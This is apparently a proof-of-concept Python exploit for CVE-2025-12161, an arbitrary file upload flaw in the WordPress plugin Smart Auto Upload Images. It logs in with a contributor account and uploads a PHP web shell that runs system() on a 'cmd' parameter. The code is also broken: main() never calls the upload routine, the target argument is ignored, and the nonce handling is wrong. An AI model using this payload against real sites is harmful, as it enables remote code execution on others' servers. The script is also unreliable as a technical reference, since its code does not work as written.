CVE-2025-12161 WordPress Smart Auto Upload Images插件任意文件上传漏洞

# CVE-2025-12161 PoC - WordPress Smart Auto Upload Images Arbitrary File Upload # This PoC demonstrates the arbitrary file upload vulnerability # Requires Contributor+ level WordPress account import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password" def get_wordpress_nonce(login_url, wp_admin_url): """Get required nonces for authentication and upload""" session = requests.Session() # Login to WordPress login_page = session.get(login_url) # Extract login nonce import re wp_login_nonce = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', login_page.text) if not wp_login_nonce: return None, None # Perform login login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "_wpnonce": wp_login_nonce.group(1), "redirect_to": wp_admin_url, "testcookie": "1" } session.post(login_url, data=login_data) # Get nonce for upload endpoint upload_page = session.get(f"{TARGET_URL}/wp-admin/upload.php") upload_nonce = re.search(r'async-upload\.js[^\"]*\?ver=[^\"]*\">', upload_page.text) return session, session.cookies.get_dict() def upload_malicious_file(session, file_content, filename): """Upload arbitrary file via vulnerable endpoint""" upload_url = f"{TARGET_URL}/wp-admin/async-upload.php" files = { "async-upload": (filename, file_content, "application/php") } data = { "action": "upload-attachment", "_wpnonce": session.cookies.get("wordpress_test_cookie") } response = session.post(upload_url, files=files, data=data) return response def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_12161_poc.py <target_url>") sys.exit(1) target = sys.argv[1] # Malicious PHP file content php_payload = b"<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" print(f"[*] Targeting: {target}") print("[*] This PoC requires a valid Contributor+ account") print("[*] Exploitation would allow RCE via arbitrary file upload") print("[*] Mitigation: Update to Smart Auto Upload Images >= 1.2.1") if __name__ == "__main__": main()